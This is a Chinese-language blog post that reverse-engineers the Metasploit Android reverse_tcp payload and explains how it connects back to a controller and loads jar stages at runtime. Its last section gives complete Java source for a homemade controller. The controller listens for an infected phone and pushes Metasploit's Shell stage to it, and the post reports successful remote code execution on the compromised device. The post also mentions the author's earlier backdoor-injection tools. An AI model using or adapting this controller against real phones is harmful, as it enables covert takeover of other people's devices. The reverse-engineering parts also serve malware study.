/QQ:3496925334
作者:Kali_MG1937
CSDN博客號:ALDYS4
未經許可,禁止轉載/
關於metasploit的安卓模塊,前幾次的博客我已經寫了相應的分析和工具
【逆向實戰】反編譯解析metasploit安卓載荷android/meterpreter/reverse_tcp
【Android編程】Java利用apktool編寫Metasploit惡意後門注入工具_演示入侵過程
【Android編程】Java利用Socket類編寫Metasploit安卓載荷輔助模塊_演示入侵過程
我再次完善之前的分析
這次我準備對
安卓載荷如何運行,以及執行命令做更深入的分析
對meterpreter模塊接管安卓傀儡機的方式進行復現
0x01運行流程分析
運用工具:
jd-gui,jadx,d2j,apktool
先生成一個載荷apk,接着利用apktool反編譯它的資源文件
可以看到主入口在MainActivity這個類
MainActivity在向MainService類的startService方法傳入了Context後立刻結束掉了當前類
可以看到startService方法正式啓動了MainService類的服務
MainService類接着調用了Payload類的start方法,並傳入Context
在Payload的start方法內調用了startInPath方法,並向其中傳入了軟件的私有目錄
而startInPath方法則調用了d類的start方法
可以看到d類實際上就繼承了Thread
在重寫run方法後調用了Payload的main方法
這樣一來,Payload方法也正式執行了
在main方法內,看到第一處紅線標記處,調用了b類的a方法並傳入了變量byte數組a,返回值重新賦值給成員a
這裏簡要說明一下,byte數組a是被加密過的ip及端口,而b類的a方法就是負責解密數組的
ip及端口就是傀儡機要回彈的地址,注意:解密出的ip和端口最終會賦值到下面變量名爲str的字符串
程序執行到第二處紅線標記處,其中a方法就是把當前類設置爲軟件主入口了,沒什麼好說的
繼續看main方法,接下來程序執行的代碼就是向控制機反彈shell的!
程序繼續往下走,while循環內判斷了str這個被賦值ip和端口的字符串是否以tcp開頭
剛剛我們是利用meterpreter模塊的reverse_tcp來生成惡意載荷,所以是以tcp開頭
進入判斷:首先注意str被賦值的字符串格式是"tcp://ip:port"
所以最終程序將執行到圖中第二處紅線標記處:向指定的ip建立Socket套接字
繼續往下看
程序執行到第三處紅線標記處時實例化了DataInputStream和DataOutputStream,並且向其中傳入了套接字的io流
注意,其中傳入的h成員,接下來會講到
接着io流進入最爲關鍵的Payload類中的a方法
先大致瀏覽一下a方法,接下來將分段講解a方法
首先,圖中變量str1賦予了傳入的數組中的第一個值
還記得之前傳入的h成員嗎,我們對他進行溯源
回到Payload類最開始的start方法,傳入的正是軟件的私有目錄
大致瀏覽過a方法後可以知道,軟件的私有目錄正是作爲程序的根目錄
回到a方法
程序繼續執行
其中str2變量在抽取隨機數後拼接在了str1後面
而str3在str2後面拼接了".jar"
str5將io流傳入了另一個a方法,以下我們簡稱這另一個a方法爲a1方法
查看a1方法
可以看到a1方法在讀取了Datainputstrem數據流的int之後傳入了byte數組
接着程序在遍歷完成int長度後就會跳出循環,返回一個被賦值了的byte數組
繼續回到a方法
str5在讀取完io流回傳的數據後
另一個byte數組(圖中第二處紅線)開始了讀取
最終byte數組被寫入了str3這個文件內,也就是拼接了".jar"的文件
是不是感覺它的運行原理馬上就要明晰了?
在第四處紅線標記處,一個變量名爲clazz的Class賦予了實例化後的DexClassLoader,並且傳入了剛剛的jar文件
str5作爲加載的類名傳入clazz
接着程序執行到最後一行,clazz的start方法被執行,並且傳入io流
怎麼樣,是不是很興奮,運行原理已經出來了,我們大致理一下思路
[1].程序經過一堆傳參到達Payload類的main方法
[2].程序建立套接字連接控制端
[3].程序將套接字的數據流傳入a方法
[4].a方法處理了傳來的數據,在軟件私有目錄下接收了jar文件和要加載的類信息
[5].程序最終加載了jar方法中的代碼
所以meterpreter模塊就是通過遠程傳輸jar文件來讓傀儡機動態執行jar中的代碼
0x02 meterpreter模塊傳輸文件解析
要知道meterpreter如何接管傀儡機,還是要知道它是傳入的什麼文件,傳輸的什麼數據
爲了驗證第一步的結論,我修改了一下生成的載荷apk的代碼
可以看到程序在接收完jar文件後執行了其中的代碼就立刻刪除了傳輸過來的文件
我對它的smali代碼進行修改
我找到其中的delete方法
將delete方法刪除,並且添加了一個Log語句用於打印str5的內容
這樣一來,文件,str5的內容我都能知道了
重新編譯後安裝apk,接着利用metasploit接管傀儡機
接着查看軟件的私有目錄
可以看到jar文件確實沒有被刪除
接着確認一下打印內容
打印內容應該就是jar文件的類路徑了
查看jar包
有一個dex文件,反編譯查看
根據str5的內容進入指定類
程序之前調用到了jar文件中指定類的start方法,並且傳入了io流
而這個jar文件也確實存在start方法
大致瀏覽一遍內容可知,這個jar文件就是meterpreter模塊的代碼!
它也是通過讀取數據流和加載dex文件的方式執行控制端下達的指令!
meterpreter模塊的真面目也出來了!
那麼何不如模仿meterpreter模塊讓傀儡機執行我們設定的命令呢?
0x03 復現遠程控制以及代碼執行
首先先回到a1方法查看代碼
運行流程如下:
[1]讀字節長度
[2]給byte指定讀取到的文件長度
[3]根據文件長度迭代取出io流的內容
[4]返回byte
流程很簡單,
那麼相應的我們發送payload的流程如下
[1]向io流寫入長度
[2]向io流發送指定的payload
發送什麼內容呢?根據之前的分析,發送的內容應該如此構造:
[1]先發送指定的類路徑
[2]發送指定jar文件
運行流程理清楚了
那麼發送什麼payload好呢?
我在metasploit的目錄裏找到了有趣的文件
查看shell.jar的代碼
知曉了類路徑,我通過修改smali代碼對圖片第二處紅線處執行的代碼進行了修改
這樣我就能通過判斷shell文件夾是否被創建來判斷代碼是否被執行了
接下來放代碼
package com.msf;
import java.io.DataOutput;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.net.ServerSocket;
import java.net.Socket;
import java.net.UnknownHostException;
public class Main {
public static void main(String[] arg) throws Exception {
ServerSocket serverSocket=new ServerSocket(1568);
System.out.println("build a server in port of 1568");
Socket socket=serverSocket.accept();
System.out.println("msf get in!");
DataOutputStream outputStream=getOutPutStream(socket);
sendPayload(outputStream, "androidpayload.stage.Shell", "C:/aaw.jar");
System.out.println("Over!");
}
public static DataOutputStream getOutPutStream(Socket socket) throws IOException {
System.out.println("[!]-->getOutputStream!");
return new DataOutputStream(socket.getOutputStream());
}
public static void sendPayload(DataOutputStream outputStream,String clazz,String injectJar) throws Exception {
int clazz_length = clazz.length();
System.out.println("[*]class length-->"+clazz_length);
File file=new File(injectJar);
int inject_length=(int) file.length();
System.out.println("[*]injectJar length-->"+inject_length);
byte[] file_b=getFile(file);
outputStream.writeInt(clazz_length);
System.out.println("[*]send class length...");
outputStream.write(clazz.getBytes());
System.out.println("[*]send class...");
outputStream.writeInt(inject_length);
System.out.println("[*]send injectJar length");
outputStream.write(file_b);
System.out.println("[*]send injectJar...");
Thread.sleep(3000);
System.out.println("[*]-->SEND A SHELL!");
}
public static byte[] getFile(File file) throws Exception {
FileInputStream fileInputStream=new FileInputStream(file);
int readLen=(int) file.length();
byte[] b=new byte[readLen];
int length=0;
while(length<readLen)
{
int read=fileInputStream.read(b, length, readLen-length);
if(read<0) {throw new Exception();}
length+=read;
}
return b;
}
}
接着手機彈出了su權限請求的提示!
查看軟件的私有目錄
如圖,shell文件夾被創建
遠程代碼成功執行!